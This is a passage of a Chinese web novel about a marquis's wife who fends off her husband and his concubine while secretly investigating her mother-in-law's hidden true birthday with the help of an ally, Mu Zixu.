春红故意加重语气多念了几遍自己的名字,像是在故意告诉杜明月,段老夫人已经准许自己用回原来的名字了。 她此举,无疑是咋向杜明月宣告,在这府里,她已经找到了新的靠山。 而这新靠山在春红看来,不管杜明月承不承认,段老夫人始终要在各种名义上压她一头。 杜明月又岂会看不出她小心思,却并不恼火,只是冷笑一声逼近春红。 杜明月虽面无表情,却气势逼人。 “春姨娘如今在老夫人跟前做事甚好,我记得你当初去我院里做丫鬟,奉得便是老夫人的意,如今能得重获原主子的信赖和青眼,果真可喜可贺。” 杜明月的话顿时让春红羞红了脸,这是再提醒她原是丫鬟出身,现在即便是春姨娘,也还是段老夫人召之即来挥之即去的丫鬟。 “……”春红想要反驳,张张口却又一句话说不出来。 可恶,现在杜明月还是侯夫人,明里暗里都能压自己一头! 春红愤愤不平,可转念一想,眸中又亮起了一抹得意的希望。 她就算是老夫人的丫鬟又如何,她现在可是这侯府的正经姨娘,她早晚会把段老夫人熬死。 而那时,杜明月肯定早早和离,也不在府里了,那时府里没人压得住她,她岂不是很快就能坐上女主人的位置了! 一想到这里,春红的内心一阵窃喜,甚至瞬间腰杆都挺直了,内心充满了底气。 “侯夫人自从东宫回来以后,一直都独守空房吧?”春红贱兮兮的道,“侯夫人不寂寞吗?真的不想侯爷吗?” “哦,对了!”春红故意做出一副夸张的姿态,一惊一乍道,“昨夜侯爷还去了我那里呢……我们……” “春红!” 春红的话还未说完,便被一声愤怒的呵斥声打断了。 不用回头,杜明月都能想象段骆岐此时面色阴沉,不悦发怒走来的模样,但她并不想看他,也不屑回头,反而饶有兴致的欣赏着春红那精彩多变的脸色。 春红听到段骆岐的断喝,先是吓了一跳,随即不安的抓着衣角,完全没有了刚才显摆时得意嚣张模样,反而战战兢兢的,仿佛一只不出声的鹌鹑。 听着脚步声越走越近,杜明月眉头微微一蹙,迈开步子继续往府内走去。 她不屑和段骆岐站在一起,也觉得恶心,原来段骆岐昨夜去了自己那里被拒以后,转头就去了春姨娘那里。 杜明月发现,自从段骆岐正式纳了这两个姨娘以后,他甚至装都不装了,竟然真的可以做到口是心非,道貌岸然。 一边疯狂纠缠自己,口口声声说着什么情啊爱啊的,一边转头心安理得和春姨娘、柳姨娘共度良宵,完全管不住自己下半身。 这样的男人,杜明月现在只是想一想就觉得恶心,她此时深感自己过去那五年究竟被他骗得有多惨了! 她过去一生一世一双人的坚持,拜段骆岐所赐,也全都成了笑柄! 越想,杜明月脚下的步子越快,段骆岐眼看着追不上,停下脚步狠狠瞪了春红一眼。 春红意外的见段骆岐没有坚持不懈的去追杜明月,反而回头看了自己,心中产生错觉,立马从害怕忐忑的状态变成期待和高兴。 “侯爷……”春红故意夹着嗓子,娇滴滴的开口,谁知话还没说完,又被段骆岐不耐烦的打断了。 “闭嘴!你还真是贱骨头,天生过不了好日子!”段骆岐嫌弃道,“不过才过两日好日子,又要作死!” “我看你真是忘了这后宅里的规矩!”段骆岐道,“禁足三日,抄十遍女戒女则,好好学学如何在这种高门世家做妾!好好学学如何尊重当家主母!” 春红闻言,浑身一抖,只觉得冷汗要从后背流下来了。 她果然不该得罪杜明月的,杜明月说得没错,只要她不离开侯府,这府里始终是她说了算,段骆岐也始终会把她的感受放在第一位,绝不容许她们嚣张到杜明月的眼前。 内心懊悔不已的春红试图道歉挽回,她用发颤的声音道,“侯爷,我知道错了,以后不敢了,老夫人生辰在即,我还有很多事情要做……” “闭嘴!你不做,有的是人能做!难道偏偏要你才行?”段骆岐冷笑一声道,“不过是个丫鬟,能懂什么布置生辰宴!” “你再啰嗦,让你一直禁足到母亲的生辰宴当日!” 段骆岐再次咬牙警告,春红闻言,一脸沮丧,无力的捶着手臂,一副不得不认命的模样。 段骆岐并不关心春红的反应,而是撂下那句狠话后,急匆匆的去找寻杜明月了。 摘月居。 此时,杜明月已经坐在床边拖了鞋子,低头轻轻捶了捶腿,笑着对红豆道,“你们练武的耐力都这么好的吗?在街上我们是一起逛的,你的腿竟然一点事没有?” 红豆得意的扬头,“是啊,这些对我们来说都是家常便饭!我们练武之人,对于基本功可是一点都不敢耽搁,别看奴婢我每日跟着您进进出出,其实起得可早了呢!” 第一百零一章 欣喜若狂 “每日主子您没醒,我就已经起来练功了。”红豆说起这些时,神色稀松平常,很明显对这样的日子已经习惯了。 杜明月闻言,微微一笑,正要开口夸红豆,突然瞧见段骆岐竟然恬不知耻的再次走了过来。 “明月,你刚才怎么走的那么快,也不等等我。”段骆岐一进门,就直奔杜明月身旁的座位去了。 “刚才春红就是乱说的,你别信她,真的!”段骆岐伸出手指,就要指天发誓,“我对春红没有半点心思,我一点都不喜欢她,我的一颗心都系在你身上了真的。” 段骆岐这副自作深情的模样看的杜明明内心连连作呕。 是啊,他对春红没有半点心思,却可以接受春红替他纾解欲望;他现在对自己这副一往情深的模样,当初在柳楹莹面前,大概也演过很多次了。 想到这些,杜明月胃中便是一阵翻涌,恶心的情绪挡都挡不住。 她垂眸敛去眼底嫌恶的情绪,薄唇紧抿,起身就朝自己的卧室走去。 “红豆。”杜明月一开口,红豆就懂了她的暗示,立马起身挡住了段骆岐跟随的脚步和视线。 “侯爷,我今天不太舒服,先去休息了,请回吧。红豆,送客。”杜明月声音冷冰冰的,加快了脚步,很快人便进了内室看不到了。 红豆此时犹如一道铜墙铁壁,牢牢的将段骆岐落在原地,让他一步也无法前进。 红豆面无表情的道,“侯爷,请回吧!主子今天累了。” “……”段骆岐看着面无表情,不懂变通的红豆实在头疼,但又无可奈何。 他张了张口,想说什么,却又一时语塞,不知从何说起。 “请吧。”红豆脸上已经有了一丝不耐烦,再次出声提醒。 段骆岐像是突然想起了什么,一脸紧张和试探的开口道,“你说你主子今天累了,她今天都去哪儿了?” “去逛街了?还是游湖了?或者说……”段骆岐一想到自己接下来要说什么,就忍不住暗暗咬牙,他尽量克制着自己的愤怒道,“她又去南风馆了?” 段骆岐说完,眼睛一眨不眨的盯着红豆看,像是生怕错过她脸上细微的表情。 他见红豆一直不说话,只是盯着他看,将他心里看的有些发麻,讪讪的撇嘴道,“算了,当我没问。你是她的丫鬟,自然是向着她的。就算她真的去了,你也不会跟我说实话。” 段骆岐虽然心有不甘,事已至此,他也只能灰溜溜的回去。 红豆突然想起了杜明月在街上同她讲的话,那时她说段骆岐一定会打听她今日的行程,还让自己可以透露给侯爷,红豆像是突然想明白了什么事一般,猛的开口叫住了段骆岐。 “侯爷。”红豆像是生怕他踏出门槛一般,急忙开口,毕竟她可懒得去追段骆岐。 段骆岐闻言脚步先是一顿,立马欣喜的转头。 “怎么了?你想和我说什么?还是明月改变主意同意我进去配陪她了?”段骆岐甚至从未想过,自己这个镇南侯府的家主,竟然有一天还要看一个丫鬟的脸色。 红豆依然面无表情,只是冷冷的开口道,“侯爷,别想错了,我们主子若是改变主意,自然会告诉我,没有吩咐,自然主意是不会变得。” 段骆岐听了她的话,眼底闪过一抹沮丧,一双炯炯有神的眸子瞬间暗淡了下来,但很快,红豆接下来的话又让他重新燃起了希望。 “只是侯爷你刚才问的事情,我想我可以告诉你。”红豆面上依然波澜不惊,仿佛在说着和她无关的话。 “你说!”段骆岐一喜,他是知道红豆对杜明月有多忠心的,今日他竟然能撬开她的嘴,那是不是这也代表了杜明月的态度。 果然杜明月已经原谅自己了,对自己的态度已经软化,这一定是她通过红豆向自己示好的意思。 这么一想,段骆岐眼底的笑意更深了。 “主子今天逛了很久的街,确实很累,不过不是为了她自己,而是为了老夫人。”红豆面无表情,像个传话机器,“主子上街,是为了给老夫人准备生辰礼的。” 红豆话音未落,段骆岐已经开心的不能自已了。 “那确实是辛苦了!”段骆岐眼眸发亮,几乎欣喜若狂,他甚至能感觉到自己的心久违的在胸腔里疯狂跳动着。 他转头朝着内室兴奋喊着,“明月,那你好好休息,我改日再来看你!” 段骆岐说完就朝着门口走去,因为太兴奋了,经过门槛时还差点被绊倒,可他却一点也不生气,还转过头来朝着红豆挥挥手。 “不用管我。去伺候你的主子吧。”段骆岐内心感受着久违的快乐,走在府中的步伐都变得轻快了起来。 他抬眼打量着府中的花草,甚至都觉得十分的顺眼,充满朝气,生机勃勃的。 段骆岐心中暗暗得意:杜明月的心果然还在自己身上。 他一路朝着自己的主院走去,路上还碰见了段骆芙。 段骆芙见他红光满面,满脸笑容,乐不可支的模样,便忍不住开口叫住了他。 “大哥?”段骆芙想象不出到底,是什么事情让他这么高兴,毕竟前两日遇见他时,他还愁容满面,沮丧的整个人看起来都灰扑扑的,无精打采的。 因段骆岐太过兴奋,沉浸在自己的世界里,段骆芙只能无奈又大声的喊了两次,段骆岐这才闻声回头。 还没等她说什么,段骆岐立马朝着她走过来,兴奋的一把抓住了她的手。 “小妹,你嫂子终于肯原谅我了?”兴奋的段骆岐语速急切,完全不给段骆芙开口插话的机会,“我就知道你大嫂她的心还是在府里的,在她心里,还是放不下咱们的!” 段骆芙被他说的一头雾水,完全听不出来他想表达什。 稍微冷静了些的段骆岐愣了愣,这才笑着将话补全道,“你大嫂今日特意去街上给母亲准备生辰礼了,而且她最近还总是会主动关心我。” “这不就是说明她心里有我,已经原谅我的意思吗?”兴奋的段骆岐见段骆芙听了这些话,好像并没有很高兴的样子,只感觉好像被人浇了一盆冷水,他的心情莫名烦躁了几分。 第一百零二章 有了方向 “怎么你不信吗?”段骆岐微微皱眉,不满的看向段骆芙,“你大嫂对你最好了,难道你不希望她原谅我?我们和好如初?” 段骆芙一听这话,吓得嚄抖了一下肩膀,急忙解释道,“大哥,我怎么会那么想呢!我当然希望你和大嫂和好如初!这种心情,我比谁都要更加迫切!” 段骆芙这话是发自真心的,他很喜欢杜明月,也希望她能一辈子是自己的大嫂,但那日杜明月在门口和自己说话时的模样还历历在目。 那日,她分明坚定的告诉自己,她和离的决心有多么坚定,自己因为心痛,一直将当时的场景记得清清楚楚。 段骆芙心中很清楚,杜明月是个内心坚定的人,不会这么轻易被动摇,如今她的态度转变如若真如大哥段骆岐所言,那似乎是哪里不太对劲。 想了想,段骆芙还是忍不住小声试探道,“大哥,这真的不是你的误解吗?会不会大嫂的态度没有变……” “胡说!”此时沉浸在美好未来中的段骆岐听不得半句不好的话,他眉头一皱,十分严厉的打断了段骆芙的话,“我是不会理解错的!她对我的态度就是好了很多!” “还有,你这话也不要让你大嫂听见!她对你那么好,要是听到你这么看她,她一定会伤心的!” 段骆岐一本正经的盯着段骆芙警告道,“在你大嫂面前,不要露出这副沮丧怀疑的样子!看着怪丧气的!” 好心情被打破的段骆岐生气的一甩袖子就走了,留下段骆芙在原地欲言又止,最终却还是什么都没说出来,只能看着段骆岐背影越走越远。 段骆芙暗暗叹口气。 她自然也很希望杜明月是真的改变了主意,一家子人能和和美美,安安稳稳的继续过日子,可若不是呢! 段骆芙心中总是隐隐的觉得哪里不对劲,却又说不上来,到底是哪里不对劲。她在原地站立了许久,最终也只能叹口气离开了。 正在卧室内室休息的杜明月,对段骆岐兄妹二人之间刚刚发生的冲突一无所知。 此刻,牵动着她全部心弦,让她废寝忘食思索的事情只有一件,那便是在珍宝阁偶遇段老夫人的事情。 “不是她真的生日,这话到底是什么意思?” 苦苦冥想了很久的杜明月依然没有头绪,她低声喃喃自语着,就连红豆给她端来了饭食也完全不在意。 红豆看她无心吃食,只一味出神思考,也不敢打扰,只是在一旁盯着桌上那几盘糕点,撑着脑袋,一副要流口水的模样。 杜明月没有注意到红豆的样子,依然出神的喃喃自语着。 “真的生日?假的生日?生辰日若是假的,那真的那日呢?是哪一天,会做什么?为什么要过假的?” 杜明月思索了良久,虽然还是猜不到段老夫人这句话背后到底掩藏了一个多大的秘密,但是她现在已经基本确定了一点。 那就是,段老夫人现在一直在过的生辰是假的,她真的生辰另有时日。 “一个生辰而已,为什么要隐瞒呢?”杜明月眉头紧紧蹙起,试着用段老夫人为人处世的方法去理解这件事,还是想不出个所以然来。 杜明月想得甚至有些烦躁了:我到底应该怎样做,才能找到蛛丝马迹的线索? “红豆!你会过假的生日吗?”杜明月随口一问,红豆闻言,立马坐直了身子直摇头。 “就是啊,好好的,又没有做什么见不得人的事,为什么要隐瞒自己真正的生日呢!”因为想不明白,暗暗和自己较劲,甚至有些生气的杜明月这话一说出口,又像是突然被点醒了。 她的眼眸瞬间亮了起来,她在心里一路的抽丝剥茧,想要寻找线索。现在好像找到线头了。 “见不得人……没错,她一定是做了什么见不得人的事,所以必须要将自己真的生辰日期隐瞒起来。” 杜明月暗自思忖,段老夫人其实是个极为重视生辰的人,在她假的生辰,她大操大办,那她真的生辰当日,她会怎么做。 她肯定也想好好过啊! 杜明月脑海中的思路,逐渐变得清晰起来。 “即便不能大张旗鼓的办,但想来也是会想方设法,躲过所有人的注意。好好给自己过吧,至少总得吃得比平时更丰盛,花些平时不舍得花的钱!” 想到这里,杜明月有些欣喜,她好像真的找到摸索这件事的方向了。 因段老夫人平日是个十分节俭抠门的人,让她掏钱,多一分都不肯拿,但真的生辰那日肯定就不一样了。 而且还有一点,那就是自己在顶替入宫受罚这件事发生之前,府里的一切花销用度都是自己掏钱。 她那时深爱段骆岐,对段家人自然是出手大方,花钱如流水。 那时段老夫人也是花自己的钱,她可是一点不心疼,每日都山珍海味的吃着,也不知道节俭。 杜明月心中暗暗思索,这样想来,那几年段老夫人在真的生辰这日吃得和平时也差不多,不一定会有人注意到。 唯一的突破口,便是她入东宫受罚这一年了。 这一年她的银子都在钱庄和账上,没有她本人许可,没有任何人可以随意支取,甚至段骆岐都不行。 而她被困于东宫,沟通往来不畅,她自身都难保,更加顾不上这些,因此那一年,段家平日大大小小的花销只能靠段骆岐的俸禄了。 这么一来,想必段老夫人这一年日子也过得十分拮据,平日里自然就会节俭。 这时再到了她真正生辰那日,就算不让别人知道,她也肯定是会关起门来,给自己准备一桌丰富的生日玩的! 将这个思路理顺以后,杜明月总算是长舒了一口气,面色欣喜,甚至因为激动,白皙的脸颊微微泛着粉色的光泽。 红豆一见杜明月高兴,也立马跟着高兴了起来。 她好奇的往杜明月跟前一凑,“主子,您把这其中的道理想明白了?” 杜明月开心的重重点头,“没错我想明白了,接下来就是先搜集证据,然后再想办法撬开于嬷嬷的嘴,一定能弄清楚这到底是怎么回事!” 第一百零三章 特别的日子 听了杜明月的话,红豆的眼眸中也迸发出光亮,跃跃欲试的充满了干劲。 “主子,那需要我做什么!”红豆兴奋开口。 “这件事非同小可,在没有任何证据之前,一定要低调低调再低调,切记不可打草惊蛇。” 杜明月嘱咐完道,“你暂且跟着我就行了,找线索的事情我来,需要你时自然会告诉你。” 红豆重重的点点头,眸色认真,表示杜明月说的话,她都听进去了。 “等下午晌,你去把厨房的原大娘秘密叫来,注意别让别人瞧见了。” 杜明月想着,既然已经有了摸索的方向,那么宜早不宜迟,她得尽早弄清楚段老夫人到底藏着什么秘密。 “好,奴婢记住了。”红豆说完,指着桌上的糕点和饭菜嘿嘿一笑道,“主子,这下可以吃了吧。” 杜明月微笑点头,“什么时候我还不让你吃了?快吃吧。” 午后,阳光充足,府里众人吃了午饭,大多懒洋洋的在自己屋里休息,就连府中做事的丫鬟小厮们,也难得有半刻的清闲。 趁着这个难得安静的空档,红豆动作迅速的将在厨房里做事的原大娘叫到了杜明月的跟前。 “主子,来了。”红豆话落,微微闪身,让跟在自己身后的原大娘站到杜明月的跟前。 杜明月此时正微微低头,专注于眼前的画作,晾了原大娘一会,原大娘终于忍不住,战战兢兢的率先开口了。 原大娘:“夫人,奴婢是做了什么错事吗?如果真的有的话,还望夫人明示。” 杜明月闻言,这才将手中的毛笔放下来,抬头看向原大娘。 据她的了解,原大娘也是这府里的老人了,甚至比自己入府的时间还要久得多。 段老夫人有时会对下人有诸多挑剔,偶尔也会换一批人进来,但原大娘能一直稳稳坐着厨娘这个位置,最主要的大概便是老实本分,平和厚道,做事又兢兢业业,从不打听主家的秘密,也从不拜高踩低,私下里偷偷议论主子们。 这一点,就是杜明月也很欣赏,也正是因此,她才敢直接这么将原大娘叫来。因为她相信,不管今日她问原大娘什么话,她也是绝不会外传的。 “马上到老夫人生辰了,过去一年,我一直待在东宫里,不曾回来,对老夫人如今的口味竟也不能准备拿捏了,这才将你叫来,想打听一下老夫人偏爱的菜肴和口味,你不用紧张。” 杜明月温和的话语,让原大娘心里暗暗松了口气。 杜明月继续道,“听说这一年里,因为我不在,府里的开支节俭了不少,特别是在吃食上,段老夫人很是节俭,很少让你做昂贵的食材。” 原大娘认真的点头回复,“夫人说的是,确实如此。” “那……”杜明月顿了顿问道,“你觉着这一年里,有些菜是老夫人舍不得又想吃的,比如会挑个好日子,让你买些好菜,做些什么丰盛的,她爱吃的菜肴。” 杜明月微微笑道,“人嘛,即便是段老夫人如此节俭持家的,一年三百六十五天,也总会有忍不住想满足口腹之欲的时候,你还能记得是什么时候吗?” 因为杜明月这些话问的合理又自然,因此原大娘丝毫没有察觉到有什么不对劲。 原大娘开始认真的思索了起来,杜明月期待的注视着她。 很快,原大娘便有了答案,她十分肯定的开口道,“确实有那么几日,不过说起来,还是些节日前后。” 原大娘微微笑道,“说起来,老夫人真的是个很有毅力的人,这一年里,几乎都是只有节日里,府上才会吃得好,段老夫人喜欢的那些菜,奴婢也都记得,一会就写了菜单送来……” 她的话还没有说完,便被杜明月打断了。 “还不够,”杜明月压了压急切的心情道,“一定不止这些,你再好好想一想。一定得是那种普通日子里,还能让老夫人舍得花钱去吃的菜,才是老夫人真的喜欢的。” 闻言,原大娘微微一愣,但也没有怀疑杜明月的话,只是认真的思索回忆了起来。 这一次原大娘想了许久,屋内安静的仿佛一根针掉到第傻瓜都能听得见。 终于原大娘的眼睛一亮,开心的看向杜明月道,“夫人,我想起来了!” 在杜明月殷切期盼的眼神注视下,原大娘开口,一字一顿,十分清晰的道,“二月二十八!” “那日,府里并没有什么客人来,当时突然吩咐我做那些菜,我还有点诧异来着。”原大娘认真回忆当时的细节,想起那日的事情,脸上还有几分高兴。 “没错,我想起来了,那日老夫人还夸我做的菜好吃,很合她胃口,当时还给了我赏钱呢。”原大娘将思绪从回忆中抽离出来,抬头看向杜明月。 这就是她要的答案。 杜明月垂眸,压抑住心底的激动,尽量让自己的表情看起来克制又平静。 她没想到自己这么顺利的就顺藤摸瓜找到了线索。 杜明月朝着原大娘平静的点点头,并拿起了桌上被她放下的毛笔。 “很好,那你再回忆一下,那天都做了什么菜?你现在说出来,我立马列出清单记下来。” 杜明月心想做戏要做全套,她虽然已经问出了答案,但有些戏还是要继续往下演的。 “叫花鸡、宝塔肉、鸭血粉丝汤……”原大娘一口气报了十几二十个菜,杜明月笔走龙蛇的迅速记下了这些名字。 笔落,杜明月满意的看着纸张上这些菜名,心想这次生辰宴可要好好的给你一个“大惊喜”。 “原大娘,你今日做得很好,多亏了你,我才知道这么多老夫人喜欢的菜。”说着杜明月朝着红豆一点头示意,红豆立马会意的拿出一个沉甸甸的钱袋子给原大娘。 原大娘虽然为人憨厚,老实,平日里拾金不昧的,但这毕竟算是主子赏赐,是她自己正儿八经得到的,于是立马开心的接了下来,还不断的向杜明月道谢。 杜明月满意的点点头,但想到还有一件事需要叮嘱。 第一百零四章 桃木簪子 “今日我叫你来的事情,不要再同其他人说起,毕竟我这是要准备给老夫人一个惊喜的。”杜明月淡淡的开了口。 原大娘闻言立马使劲儿点头,她明确的向杜明月表示,“夫人,您放心,这点道理我还是懂的,我只踏踏实实做自己分内的事,我绝不多言掺和主家的事情。” 杜明月闻言,放心的点点头,便让红豆送她离开了。 等红豆送完原大娘回来后,杜明月已经写好了有二月二十八字样的纸条。 她将纸条叠好递给红豆道,“你拿着这字条去南风馆找慕公子。你一定要亲眼见到慕公子后,再将这字条交给他并说明来意。” “你替我转告慕公子,让他帮我查一查,段老夫人和这二月二十八日到底有什么关系?如果查到了什么一定要第一时间告诉我。” 杜明月心想,慕子叙虽然被贬充入南风馆,却能明哲保身,不仅没有堕入凡尘,反而养成了他这如山间明月,松间白雪般清冷孤傲的性子,那说明他背后的势力也一定不容小觑。 只是慕子叙身上的谜团,那是他个人的隐私,杜明月无意窥探,也是对他的尊重。 可是慕子叙对她几次出手相救的事实,让她此刻第一时间想到的,能帮自己的就只有慕子叙了。 杜明月相信,慕子叙一定有本事将段老夫人隐藏的秘密找出来,他一定可以做到。 此时的杜明月或许也没有发现,在她眼中慕子叙已经成了她可以信任和依靠的人。 杜明月正出神的想着,红豆的话将她的思绪拉了回来。 “主子,奴婢替您去送信固然可以,可是这么重要的事情,您不当面和慕公子说吗?”红豆的眼中闪着疑惑,她是真的想不明白杜明月的做法。 杜明月也能理解她的困惑,认真解释道,“正是因为此事事关重大,又极为隐秘。所以我不能和你同去南风馆。你也知道,府里上下多少人盯着我。” “只要我一出府,一定会有人去禀告侯爷。”杜明月的眼底闪过一抹寒意,“如果他们今日跟着我闯进南风馆闹事,那才是真的耽误正事。” “我与你说这么多,也是想让你替我好好向慕公子解释一番,让他无需困惑,也无需为我担心。” 杜明月目光坚定,“你尽可以告诉慕公子,只要慕公子能帮我查出这其中隐藏的秘密,他想要什么,我都愿意倾尽全力替他做到。” 说到这里杜明月像是想到了什么,急忙拉开了一旁的抽屉,从里面取出了一沓银票,交到了红豆的手中。 “或者,你今日便先替我将这些送到慕公子的手上,让他务必要收下,若是嫌少你再回来告诉我,慕公子想要多少我就愿意给多少。” 杜明月言语中的势在必得,红豆也听明白,她立马点点头,将所有东西都小心谨慎的收了起来,转身出了屋子,并快步离开了侯府。 不到一个时辰,红豆就回来。 她一回来便开心的凑到杜明月跟前,附到她耳边小声道,“公子说了,今夜亥初时分,便可拿到消息,解释奴婢会从墙上翻出去去找慕公子,拿到消息再回来,保证悄无声息,均绝不会让府里人注意到的。” 红豆的话,让杜明悦听了满心欢喜。 她果然没有信错人,慕子叙当真有这个本事,而这也恰恰说明了,慕子叙在南风馆绝不是孤苦无依,孤单一人,他的背后一定有个强大的组织在保护她。 当杜明月想到这些时,她意外的察觉到,她听到这些第一反应竟然不是害怕,而是替慕子叙感到欣慰。 她认为像慕子叙这么好的一个人,只是因为家族获罪而受到牵累,实在是不公平。如果他背靠着一个强大的组织,能够保证他的安全,这反而是一件好事。 她正出神的思索着,红豆突然又想起了什么,伸手从自己腰间摸出了一根簪子。 她仔细的检查了一下,发现没有任何的磕碰之后,这才小心翼翼的递到了杜明月的手中。 “公子收下了主子的银票,特意挑选了这根簪子作为回礼,还让我告诉主子,您给得那些银票,买一个消息,只多不少。” 红豆见杜明月已经接过簪子,认真打量了起来,便补充道。“公子说,这木簪子只是一日逛街恰巧碰到,说是桃木辟邪,便想送给主子带着。” “寓意确实很好。”杜明月满意的点点头,坐在镜子前将木簪别在了发髻上,确实别具一格,温婉大方。 因慕子叙送回来的只是一个雕工精致,又有着很好寓意的簪子,因此杜明月完全没有多想,放心的收下了,此刻她并没有预想到,之后这根簪子会给她带来了一些不必要的麻烦。 接下来,在等消息的这段时间里,杜明月的心中忐忑又期待,兴奋又不安。 好在她一直只呆在自己的屋子里,她脸上精彩变换的神情,也没有被任何人看到。 亥正。 整个镇南侯府都陷入了一片静悄悄中,镇南侯府安静的在夜光下,犹如一只蛰伏的巨兽。 红豆此时趁着夜色,轻轻松松的翻过侯府的高墙,到了和慕子叙约定的地点。 一辆马车早就安静的停在路边,夜色下,偌大的马车透着一抹庄严肃穆的感觉。 马车内的慕子叙听到红豆靠近,立马轻轻掀起马车帘子的一角,当透过掀开的缝隙确认来人的确是红豆时,慕子叙修长的手指捏着一封信伸出了马车帘子。 红豆警觉的四处查看,没有发现任何异常,后立马接住了慕子叙递过来的信封。 “公子,告辞。” 整个交接过程非常顺利。直到最后离开前,红豆才终于压低声音开口。 慕子叙没在说话,只是放心的放下了马车帘子,安静的坐在车里,等红豆再走远一些,才吩咐马车夫返回南风馆。 在屋里紧张的踱着步子的杜明月一见红豆回来,便立马着急的凑上前去。 她压低声音兴奋的问道,“怎么样?” 第一百零五章 庶妹过世了 红豆见杜明月着急,立马一脸欢欣雀跃的伸出手,将慕子叙交给她的信封递了过去。 杜明月的眼中闪过一抹意外和惊喜,没想到慕子叙真的能在这么短的时间内给她答复。 杜明月撕开信封,将里面的信纸展开拿在手上,一目十行的迅速看过信纸上的内容,愣了许久没有反应过来。 红豆见她如此模样,困惑的凑了上去,正想看信纸的内容,就听到杜明月呢喃出声。 她若有所思,自言自语的道,“段老夫人娘家竟然有一个二月二十八生辰的庶妹,我嫁进侯府五年,竟然从未听说过,也没有见过。” 杜明月心中疑惑的想着,自她嫁进来以后,从未听段老夫人说起过娘家人的事。 现在听到她还有个庶妹,心中不免觉得奇怪,再怎么关系凉薄,也不至于五年了,一次都不联系吧? “一定有哪里不对劲。”杜明月暗自分析,虽然她还不确定,段老夫人隐藏的秘密到底是什么,但总觉得和这个二月二十八生辰的庶妹有关系。 本来就一头雾水的红豆,听了她这些模棱两可的话,感觉自己脑子更加转不过弯儿来了。 “主子,这都是什么意思啊?”红豆疑惑的发问,但杜明月也没有给出明确的答复。 杜明月现在同样百思不得其解,她觉得这件事情还要继续顺藤摸瓜的调查下去。 她正在犹豫要不要再拜托慕子叙出手帮忙调查时,突然发现信纸上还有一行字。 因为这行小字和前面的内容隔得比较远,她一开始以为只是落款,却不想仔细的看那上面的字,竟是时间和地点。 杜明月一愣,心脏不知为何突然跳的快了几分:慕子叙这是在与她约明天见面的时间和地点吗? 那慕子叙一定是有更重要的事情要告诉她,才需要见面交谈。杜明月深深的再次看了眼信纸上的字迹,这才拿起灯笼罩子,将那信纸烧掉了。 到了第二日,杜明月按约定的时间,出现在信中提及的茶楼前。 杜明月一下马车,便看到了停在一边的南风馆的马车,不知为何,杜明月内心莫名悸动了一下,她明显感觉心脏比平时跳的快了一点。 她心中默默猜想,定是因为她即将得到更多和段老夫人有关的秘密,所以才会如此的紧张和兴奋。 杜明月暗自点头肯定自己的想法。 没错!一定是这样的! 她自认她了解慕子叙,若不是有重要的事情着急面谈,那么有分寸又不会越界的慕子叙一定不会这样突然将她约出来见面的。 在段老夫人这件事上,事实也确实如杜明月猜想的那般。 当她上了茶楼三楼最东边的厢房,刚一推开门,甚至没有来得及和慕子叙打招呼,就看到他身侧坐着一个有些紧张的婆子。 而就在杜明月的目光全被婆子吸引,微微愣住时,她没有注意到,慕子叙正抬眸往她脸上快速的扫了一眼,目光温柔隐忍带着几分克制。 当慕子叙看到杜明月头上竟然带着他昨日送她的发簪时,眼底闪过一抹克制不住的喜色,嘴角微微上扬。 为了不让杜明月察觉到一丝异样,他急忙低头拿起了茶壶准备倒茶。 “侯夫人,过来这边坐吧。”慕子叙再抬头时,已经将眼底的情绪全部收敛,虽然面带微笑,笑容中却透着几分清冷和矜贵。 他此时正动作优雅的倒茶,杜明月刚一坐下来,才刚刚倒好的热茶,便已经向她递了过来。 杜明月急忙接过茶水,这时慕子叙才优雅的开了口。 “我替你找到了一个以前在岑府当过差的婆婆,虽然如今已经不在岑府了,但当时在府里发生过的事情,还是能回忆起一些的。” 闻言,杜明月更是惊喜的睁大了眸子,不敢置信的看向慕子叙。 她心中暗暗惊叹,自她拜托慕子叙帮忙,到现在不过短短一日的时间,他不仅调查到了段老夫人娘家人的情况,甚至还找到了当初在岑家待过的人。 他背后到底是有多大的信息网,多么强大的执行力才能做到这个地步。 突然意识到了这一点的杜明月笑不出来了,抬头偷瞥了慕子叙一眼,慕子叙的背后好像也有一个很大的谜团。 可他就这样轻易的将他的能力摆在自己面前,不担心自己的安危吗?就这么信任自己吗? 一想到这里,杜明月心里不知为何,又暗暗的窃喜。她自然是不会暴露和慕子叙有关的一切,他也确实可以信任自己。 面上看起来波澜不惊的慕子叙,其实早就已经注意到了杜明月的视线,但他不仅没有感觉到不舒服,心中竟然还有一丝杜明月终于注意到自己的窃喜。 就在杜明月和慕子叙之间有一种说不清道不明的情愫默默流动时,一直坐在一旁的婆子并没有注意到他们间的异常,率先开了口。 婆子看向杜明月道,“你是……镇南侯府的少夫人?” 杜明月急忙将视线从慕子叙身上收回,对着婆子点点头道,“是。” 那婆子突然叹了口气,像是想起了过往的那些事,她感叹道,“年纪大了,想到以前的事情,就觉得唏嘘。” 杜明月静静的听着她讲述过去的事情。 “镇南侯府的老夫人当年在府里做小姐的时候,真是温婉善良人如其名,叫……婉心,对岑婉心,她的庶妹名叫岑宜苗,和老夫人容貌也是有三分相似的。不过……” 婆子眼神闪烁了一下,带着一丝可惜,杜明月急忙追问,“怎么了?” “老夫人的庶妹,早在二十年前就过世了,也正是要出嫁的年纪,真是太可惜了,像花儿一样的年纪,结果人生还没开始就结束了。” 婆子说着直摇头,看起来是真的替岑宜苗惋惜。 杜明月和慕子叙听了这话,两人都愣住了,彼此对视了一眼。 慕子叙面色平静,并不出声,杜明月却将眉头紧紧皱起,似是不甘心刚刚找到的线索就这么断了。 她呢喃出声,带着疑惑,“过世了?那老夫人为什么……” 第一百零六章 簪子很漂亮 杜明月突然抬头看向婆子问道,“难道老夫人和庶妹的关系很好吗?” 杜明月心中疑惑,难道是因为关系好,所以庶妹去世,她心痛到对此绝口不提,还会在庶妹生辰当天,偷偷纪念,以悼哀思。 虽然杜明月觉得段老夫人并不像是真的这么重情重义,可是又好像只有这么一个逻辑可以解释得通。 她抬头殷切的看向婆子,希望婆子能给出让她信服的理由,但没想到婆子说出口的话,又让她大吃一惊。 “不,她们的关系很一般。”那婆子摇了摇头,认真回忆道,“甚至说她们关系不好也可以。” 那婆子犹豫了下,又补充道:“这么说,好像也不完全对。” “老夫人在府里做小姐时宽宏大度,倒是这个庶妹常有与她争胜的心思,或许是内心也明白自己无论出身、才学都比不上老夫人,在老夫人面前有着自卑又有些自负,反而常常会主动躲开老夫人在的场合。” 听到这话,杜明月更是猛地睁大了双眸。 如果按她所说,姐妹二人关系并不算和谐,那她之前的猜想并不成立,而且她此时敏锐的察觉到了有什么不对劲。 